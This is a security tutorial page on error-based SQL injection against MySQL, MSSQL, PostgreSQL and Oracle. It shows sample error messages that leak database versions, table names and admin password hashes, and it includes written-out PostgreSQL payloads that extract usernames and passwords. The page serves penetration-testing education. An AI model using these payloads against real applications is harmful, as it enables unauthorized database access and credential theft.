Error-Based SQLi
Error-based SQL injection extracts data by triggering database errors that include query results in the error message. This works when the application displays database error messages in HTTP responses. Unlike UNION-based injection, it does not require output to be reflected in the page body, only that raw error messages are visible. See the SQL injection hub for technique selection guidance. Each request leaks one value from the database through a deliberately malformed expression.
- Trigger a type conversion or function error that forces the database to evaluate a subquery and include the result in the error output.
- Read the extracted value directly from the error message in the HTTP response.
- Iterate through rows using LIMIT/OFFSET or NOT IN filters to extract one value per request.
MySQL Error-Based Extraction
MySQL offers several functions that produce errors containing evaluated expressions. The two most reliable are extractvalue() and updatexml(), both of which trigger XPATH syntax errors that include the result of a subquery. These work on MySQL 5.1+ and are not blocked by most WAFs since they use standard XML functions.
extractvalue() Technique
The extractvalue() function expects valid XPATH as its second argument. Passing a subquery result prefixed with ~ or 0x7e produces an XPATH syntax error that includes the evaluated value. The output is limited to 32 characters per error.
XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'
XPATH syntax error: '~webapp'
XPATH syntax error: '~information_schema,webapp,mysql'
updatexml() Technique
updatexml() works the same way. It takes three arguments: an XML fragment, an XPATH expression, and a replacement value. Injecting an invalid XPATH in the second argument leaks the evaluated result. Same 32-character output limit applies.
XPATH syntax error: '~users,products,orders,sessions'
XPATH syntax error: '~id,username,password,email,role'
XPATH syntax error: '~admin:5f4dcc3b5aa765d61d8327deb882'
The 32-character limit truncates longer values. For MD5 hashes (32 chars), the tilde prefix causes truncation. Use SUBSTRING() to extract in chunks:
XPATH syntax error: '~d61d8327deb882cf99'
BIGINT Overflow Technique
On MySQL 5.5.5 through 5.5.52, integer overflow errors can leak data. The ~0 value is the maximum unsigned BIGINT. Adding to it causes an overflow, and when the overflowed expression includes a subquery, the error contains the result. This technique was patched in later MySQL versions and does not work on MariaDB.
BIGINT UNSIGNED value is out of range in '(~(0) ^ '5.7.33-0ubuntu0')'
MSSQL Error-Based Extraction
MSSQL produces verbose type conversion errors when CONVERT() or CAST() attempts to convert a string to an incompatible type. Force a string-to-integer conversion on a subquery result and the error message includes the full string value. No character limit on the error output.
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5' to data type int.
Conversion failed when converting the nvarchar value 'webapp' to data type int.
Conversion failed when converting the nvarchar value 'sa' to data type int.
Conversion failed when converting the nvarchar value 'webapp' to data type int.
Conversion failed when converting the nvarchar value 'users' to data type int.
Conversion failed when converting the nvarchar value 'admin:5f4dcc3b5aa765d61d8327deb882cf99' to data type int.
Iterate through rows by adding WHERE username NOT IN ('admin') to exclude previously extracted values. CAST() works identically to CONVERT() for this purpose:
Conversion failed when converting the nvarchar value 'editor:8d3533d75ae2c3966d7e0d4fcc69216b' to data type int.
PostgreSQL Error-Based Extraction
PostgreSQL raises type errors when casting a string to an incompatible type. Use CAST() or the shorthand ::int operator to force a string-to-integer conversion. The error message includes the original string value.
ERROR: invalid input syntax for type integer: "PostgreSQL 14.5 on x86_64-pc-linux-gnu"
ERROR: invalid input syntax for type integer: "webapp"
ERROR: invalid input syntax for type integer: "postgres"
ERROR: invalid input syntax for type integer: "users,sessions,orders,api_keys"
ERROR: invalid input syntax for type integer: "admin:5f4dcc3b5aa765d61d8327deb882cf99"
The shorthand ::int cast operator works the same way and is shorter in payloads:
-- Shorthand cast syntax
id=1 AND 1=(version()::int)--
id=1 AND 1=((SELECT username||':'||password FROM users LIMIT 1)::int)--
Oracle Error-Based Extraction
Oracle does not have a direct type-coercion error leak like MSSQL or PostgreSQL. Instead, abuse XML and network functions that include evaluated expressions in their error messages.
UTL_INADDR.GET_HOST_NAME()
This function attempts to resolve a hostname. When the input is not a valid hostname, the error includes the evaluated expression. Requires the UTL_INADDR package to be accessible by the database user (it is by default in older Oracle versions but restricted in 11g+).
ORA-29257: host Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 unknown
CTXSYS.DRITHSX.SN()
The Oracle Text function CTXSYS.DRITHSX.SN() throws an error that includes the first argument value. Requires the Oracle Text component to be installed (common in default installations).
ORA-20000: Oracle Text error: DRG-11701: thesaurus Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 does not exist
XMLType() Errors
The XMLType() constructor raises an error when the input is not valid XML. Prepending < to the subquery result creates invalid XML, and the error includes the evaluated string. This is the most reliable Oracle error-based technique and works without special package permissions.
ORA-31011: XML parsing failed LPX-00110: Warning: invalid QName ":Oracle Database 19c Enterprise Edition"
ORA-31011: XML parsing failed LPX-00110: Warning: invalid QName ":API_KEYS,ORDERS,SESSIONS,USERS"
ORA-31011: XML parsing failed LPX-00110: Warning: invalid QName ":admin:5f4dcc3b5aa765d61d8327deb882cf99"
Oracle table and column names are uppercase by default. If queries return no results, try uppercase object names. LISTAGG() has a 4000-byte limit. For long result sets, use WHERE ROWNUM filtering to iterate row by row.
References
-
PortSwigger: Blind SQLi with Conditional ErrorsTOOL: PortSwigger: Blind SQLi with Conditional Errors, portswigger.net/web-security/sql-injection/blind/lab-conditional-errors (opens in new tab)
Lab exercise for error-based blind SQL injection techniques.
-
MySQL SQL Injection Cheat SheetLINK: MySQL SQL Injection Cheat Sheet, perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet (opens in new tab)
Practical MySQL injection cheat sheet covering error-based extraction techniques.